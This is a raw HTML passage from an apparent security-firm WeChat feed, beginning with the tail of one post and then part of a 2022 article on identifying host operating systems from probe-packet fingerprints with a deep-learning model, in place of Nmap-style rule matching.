src="https://wechat2rss.xlab.app/img-proxy/?k=530afaf0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCD1iaLIMEhibPv9rc3gdLj3g6fiaAcCZqIicylIMVKlbvd5ic5usJ2oia9cTgavs6BwQpEEYbfglc82kCJ0Qic3OHMEaw%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></span></section><section data-brushtype="text" style="margin: 15px 1em;padding: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section class="mp_profile_iframe_wrp" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><mpprofile class="js_uneditable custom_select_card" data-pluginname="mpprofile" data-id="MzU5ODE2NDA3NA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/7lCiaSMMkhia7dpwexuaibUE3Eb0z03gPLaYB4PHo7G8BE9eAlRk9NoXRfjDMAxXV0OSYSdZS7KPqic8GNUkqxch7g/0?wx_fmt=png" data-nickname="墨云安全" data-alias="moyunsec" data-signature="墨云科技，更智能的网络攻防！" data-from="2" has-insert-preloading="1" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></mpprofile></section><section style="margin: 15px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;">点击</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;text-align: start;font-family: Optima-Regular, PingFangTC-light;font-size: 15px;color: rgb(99, 121, 161);"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">在看</strong></span></section><section style="margin: 5px 0px 15px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;">分享给小伙伴</span></section><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: left;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 14px;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(178, 178, 178);"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;">↓</span>↓点击</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(99, 121, 161);"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">阅读原文</strong></span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(178, 178, 178);">，了解更多墨云信息</span></span></section></section>



<p><a href="http://www.vackbot.com">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=8984809e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzIxMDUyNg%3D%3D%26mid%3D2247484767%26idx%3D1%26sn%3Dae1a98f8951112067d4688d57677f58d%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 14 Jul 2022 19:01:00 +0800</pubDate>
    </item>
    <item>
      <title>基于深度学习的主机操作系统识别</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484734&amp;idx=1&amp;sn=cd777218ab931ba4fc520d5c4de058cb</link>
      <description>无论从网络安全的攻击或是防护视角，信息的采集和甄别都至关重要，其中主机的系统类型是关键出发点。在以往经验中，根据操作系统类型往往能够大致判断其存在的风险点及风险类型，因此，识别主机操作系统类型对系统网络安全防护具有极其重要的意义。</description>
      <content:encoded><![CDATA[<p>
原创 <span>三牛</span> <span>2022-05-19 18:00</span> <span style="display: inline-block;">北京</span>
</p>

<p>无论从网络安全的攻击或是防护视角，信息的采集和甄别都至关重要，其中主机的系统类型是关键出发点。在以往经验中，根据操作系统类型往往能够大致判断其存在的风险点及风险类型，因此，识别主机操作系统类型对系统网络安全防护具有极其重要的意义。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=113620f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplRTBkWwoq2yFH4VW6m3pxHDzU67PI4oFe12gmLYBY9iaa9w3zfhbI7LHzkE6UcYsHqpv76ORVH2mbQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="margin-right: 8px;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/0NpbNYDUplSVAeJNFpOlXC5uBg86icOw5lWorq5EHkq0S23icUZq77ney00MjKAUXEicQiaeOzjibibNFgJRyS6jL4Yg/0?wx_fmt=png" data-cropx1="0" data-cropx2="500" data-cropy1="0" data-cropy2="386.9047619047619" data-galleryid="" data-ratio="0.772" data-s="300,640" style="outline: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 84px !important;" data-type="jpeg" data-w="500" src="https://wechat2rss.xlab.app/img-proxy/?k=31358ea8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplSVAeJNFpOlXC5uBg86icOw5Hyd9IkZVo0JUSV5nPeVNVriaFQKWJ59ODSQiafWYYvZs3fadU0JPjQ0A%2F640%3Fwx_fmt%3Djpeg"/></section><section style="margin-right: 8px;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(27, 110, 201);font-family: -webkit-standard;widows: 1;font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">V-lab实验室</span></strong></section><section style="margin-right: 8px;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><section style="margin-right: 8px;margin-bottom: 0em;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img __bg_gif" data-ratio="0.1875" style="outline: 0px;font-size: 16px;letter-spacing: 0.544px;widows: 1;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 67.691px !important;" data-type="gif" data-w="128" data-width="10%" src="https://wechat2rss.xlab.app/img-proxy/?k=183be400&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F2TSketEedQ9mmk8nGa8zUv26iapUUPIczjUGSuap1ZqpQO56wnwGGmwkicPphswx7DG3CgAribFoibGw48d3VoQ17g%2F640%3Fwx_fmt%3Dgif"/></section><section style="margin-right: 8px;margin-bottom: 0em;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><p style="line-height: 150%;text-align: left;text-indent: 0em;margin-left: 0px;margin-right: 0px;"><span style="font-size: 16px;background: rgb(255, 255, 255);"><span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);">无论从网络安全的攻击或是防护视角，信息的采集和甄别都至关重要，其中主机的系统类型是关键出发点。在以往经验中，根据操作系统类型往往能够大致判断其存在的风险点及风险类型，因此，识别主机操作系统类型对系统网络安全防护具有极其重要的意义。</span></span><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 28px;white-space: pre-wrap;"></span></p><h2 cid="n0" mdtype="heading" style="margin: 1rem 0px;outline: 0px;font-weight: bold;font-size: 1.75em;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;text-indent: 0em;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 17px;visibility: visible;overflow-wrap: break-word !important;">操作系统识别方法</span></strong></h2><p style="margin: 0.8em 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">识别方法概述</span></strong></p><p style="margin: 0.8em 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">目前最广泛的操作系统识别方法是基于规则匹配</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">，例如操作系统识别工具</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">Nmap、P</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">0</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">f、Xpro</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">be2</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">等。</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">N</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">map对操作系统的识别主要依靠其维护的操作系统指纹库nmap</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">-</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">os-db，Xprobe</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">2</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">等其他工具同样基于自身构建的指纹库进行操作系统类型的识别。</span></p><p style="margin: 0.8em 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">基</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">于规则的匹配方法</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">主要是</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">通过</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">获取</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">网络中传输和接收的数据包信息来</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">与已</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">创建</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">的</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">规则</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">进行特征匹配，具有</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">识别速度快</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">的优势</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">。</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">但是，由</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">于网络安全</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">设备</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">(防火墙、IDS等)和</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">防护</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">策略等原因，</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">部分场景下</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">收集到的数据包中</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">没有</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">足够的操作系统</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">指纹</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">信息，</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">操作系统类型</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">识别准确率较低</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">，甚至</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">无法</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">识别。</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">指纹数据库冗余度高</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">，</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">对于某一测试的操作系统指纹可能出现两个或者多</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">个匹配项，从而无法确定该指纹属于哪一类操作系统</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">；</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">对于</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">未出现在指纹数据库中的</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">操作系统类型则</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">无法进行匹配</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">识别。</span></p><p style="margin: 0.8em 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">基于深度学习的识别方法</span></strong></p><p style="margin: 0.8em 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">为了</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">克服现有</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">“</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">基于规则匹配方法</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">”的弊端</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">，提升主机操作系统识别的准确率</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">，我们尝试了一种基于深度学习的主机操作系统识别方法。</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">通过主动向操作系统发送探测包，分析从目标主机返回的数据包信息，并提取其响应特征，建模学习得到识别模型，进一步利用模型识别操作系统类型。</span></p><section style="text-align: center;margin-bottom: 0em;margin-left: 0px;margin-right: 0px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2109375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=5f98dc36&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRTBkWwoq2yFH4VW6m3pxHDGcvDpekNrF2wJT1HCRtesQfL2DiaHarGpdhuZpJNBQxia0lZOCRv7vMg%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin: 0.8em 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;overflow-wrap: break-word !important;"><strong style="letter-spacing: 0.544px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">特征提取</span></strong><br/></section><section style="margin: 0.8em 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">通过主动向目标主机发送多个</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">“精心构造”的数据包，包括TCP/IP数据包，ICMP数据包，UDP数据包</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">等，执行五种不同的测试，目标主机对每个数据包做出响应。</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">五种测试包括：</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">序列生成，</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">ICMP回显，TCP显式拥塞通知，TCP测试和UDP测试。</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">每种测试会得到不同数量的响应行数据，共计1</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">3</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">个响应行。</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">其中，序列生成测试通过发送</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">TCP数据包生成4个响应行；</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">ICMP回显测试通过发送ICMP请求报文到目标主机，生成1个响应行，TCP显式拥塞通知测试发送一个TCP</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"> </span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">SYN数据包，生成一个响应行；</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">TCP测试会发送6个具有特定设置的TCP数据包生成6个响应行；</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">UDP测试发送特殊构造的UDP数据包到已知关闭的端口，根据返回的响应信息，生成一个响应行。</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">分析每个响应行的信息并提取其特征，</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">生成该主机操作系统的形如</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">[13,36]</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">的二维指纹特征向量。</span></section><section style="margin: 0.8em 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;overflow-wrap: break-word !important;"><strong style="letter-spacing: 0.544px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">建模</span></strong></section><section style="margin: 0.8em 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">基于深度学习的操作系统本质为将二维特征向量经过非线性变换映射到操作系统类型空间中。</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">其网络结构如下：</span><br/></section><section style="text-align: center;margin-bottom: 0em;margin-left: 0px;margin-right: 0px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4156378600823045" data-s="300,640" style="" data-type="png" data-w="486" src="https://wechat2rss.xlab.app/img-proxy/?k=bc16a77f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRTBkWwoq2yFH4VW6m3pxHDmdadxSJfVZriaP9icJJxSGNKIV125SZd99upsIw1whnaTgxKo5RtzZGA%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;margin-left: 0px;margin-right: 0px;"><span style="font-size:13px;"><span style="font-family:黑体;">图</span> </span><span style="font-size:13px;">1</span><span style="font-family:黑体;font-size:13px;"> <span style="font-family:黑体;">操作系统识别模型结构</span></span></section><section style="margin: 0.8em 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 